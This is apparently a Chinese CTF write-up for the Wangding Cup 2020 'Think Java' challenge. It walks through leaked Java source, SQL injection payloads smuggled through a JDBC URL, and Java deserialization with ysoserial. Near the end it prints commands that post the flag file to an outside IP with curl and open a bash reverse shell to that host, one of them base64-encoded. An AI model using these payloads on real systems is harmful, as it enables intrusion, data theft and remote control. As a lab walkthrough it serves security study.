本文最后更新于 2026年3月11日 下午
通过几个题目入门Java
[网鼎杯 2020 朱雀组]Think Java 题目给出了部分源码,先看Test.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import io.swagger.annotations.ApiOperation; @CrossOrigin @RestController @RequestMapping({"/common/test"}) public class Test { @PostMapping({"/sqlDict"}) @Access @ApiOperation("为了开发方便对应数据库字典查询") public ResponseResult sqlDict (String dbName) throws IOException { List<Table> tables = SqlDict.getTableData(dbName, "root" , "abc@12345" ); return ResponseResult.e(ResponseCode.OK, tables); } }
从这里我们不难发现api接口,访问 http://xxx/swagger-ui.html
再看SqlDict.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 public class SqlDict { public static Connection getConnection (String dbName, String user, String pass) { Connection conn = null ; try { Class.forName("com.mysql.jdbc.Driver" ); if (dbName != null && !dbName.equals("" )) { dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName; } else { dbName = "jdbc:mysql://mysqldbserver:3306/myapp" ; } if (user == null || dbName.equals("" )) { user = "root" ; } if (pass == null || dbName.equals("" )) { pass = "abc@12345" ; } conn = DriverManager.getConnection(dbName, user, pass); } catch (ClassNotFoundException var5) { var5.printStackTrace(); } catch (SQLException var6) { var6.printStackTrace(); } return conn; } public static List<Table> getTableData (String dbName, String user, String pass) { List<Table> Tables = new ArrayList (); Connection conn = getConnection(dbName, user, pass); String TableName = "" ; try { Statement stmt = conn.createStatement(); DatabaseMetaData metaData = conn.getMetaData(); ResultSet tableNames = metaData.getTables((String)null , (String)null , (String)null , new String []{"TABLE" }); while (tableNames.next()) { TableName = tableNames.getString(3 ); Table table = new Table (); String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ; ResultSet rs = stmt.executeQuery(sql); while (rs.next()) { table.setTableDescribe(rs.getString("TABLE_COMMENT" )); } table.setTableName(TableName); ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null , TableName, "" ); ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null , TableName); String PK; for (PK = "" ; rs2.next(); PK = rs2.getString(4 )) { } while (data.next()) { Row row = new Row (data.getString("COLUMN_NAME" ), data.getString("TYPE_NAME" ), data.getString("COLUMN_DEF" ), data.getString("NULLABLE" ).equals("1" ) ? "YES" : "NO" , data.getString("IS_AUTOINCREMENT" ), data.getString("REMARKS" ), data.getString("COLUMN_NAME" ).equals(PK) ? "true" : null , data.getString("COLUMN_SIZE" )); table.list.add(row); } Tables.add(table); } } catch (SQLException var16) { var16.printStackTrace(); } return Tables; } }
那么我们不难发现SQL注入点
1 String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ;
这里需要注意
1 dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName
所以在注入的同时需要满足 jdbc 协议的连接不能出错
JDBC 的 URL 也类似 http 请求中的 URL,也可以使用锚点 # 或者 ?
如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#
下面我们构造SQL注入语句
1 2 3 4 myapp#' union select group_concat(SCHEMA_NAME) from information_schema.schemata# myapp#' union select group_concat(table_name ) from information_schema.tables where table_schema=database ()# myapp#' union select group_concat(column_name) from information_schema.columns where table_name=' user '# myapp#' union select group_concat(pwd) from myapp.user #
成功获得用户名amdin密码admin@Rrrr_ctf_asde
登录成功,返回一个auth头
1 rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
下方的特征可以作为序列化的标志参考: 一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。 或者如果以aced开头,那么他就是这一段Java序列化的16进制。
这里用SerializationDumper工具查看16进制序列化内容
可以猜测到这个内容是与用户信息有关的, 正好还有一个接口:/common/user/current 是用来获取用户信息 将data内容输入到该接口中
auth 头是一个序列化后的信息,在查看用户信息时提交这个Bearer token进行反序列化
我们这里用工具分析一下
用ysoserial工具生成payload
1 java -jar .\ysoserial-all.jar ROME "curl http://183.66.27.22:18546 -d @/flag" > flag.bin
由于ctfhub把flag文件名改了,这里只能用bash了
1 bash >& /dev/tcp/183.66.27.22 /18546 0 >&1
1 java -jar ysoserial-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODMuNjYuMjcuMjIvMTg1NDYgMD4mMQ==}|{base64,-d}|{bash,-i}" > a.bin
编码,传入